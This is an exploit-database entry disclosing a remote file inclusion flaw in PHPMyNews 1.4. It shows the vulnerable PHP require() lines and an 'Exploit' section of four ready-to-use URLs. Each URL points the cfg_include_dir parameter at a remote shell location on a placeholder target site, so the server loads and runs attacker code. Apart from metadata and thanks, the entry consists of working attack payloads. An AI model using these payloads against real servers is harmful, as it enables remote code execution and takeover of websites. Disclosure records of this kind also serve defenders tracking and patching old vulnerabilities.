PHPMyNews 1.4 - 'cfg_include_dir' Remote File Inclusion

Author: Mehmet Ince
type: webapps
platform: php
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date_added: 2006-10-07 
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verified: 1 
codes: OSVDB-30876;CVE-2006-5261;OSVDB-30875;OSVDB-30874;OSVDB-30873 
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PHPMyNews 1.4 <= (cfg_include_dir) Remote File Include Vulnerability

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Discovered by XORON(turkish hacker)

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URL:
http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/phpmynews-1.4B1.zip

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CODE:

require($cfg_include_dir.'langues/'.$cfg_language.'.inc'.$cfg_ext);
require($cfg_include_dir.'database/'.$cfg_database.'.inc'.$cfg_ext);
require($cfg_include_dir.'form.inc'.$cfg_ext);


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Exploit:

http://www.hedef.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://sh3LL?

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Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,

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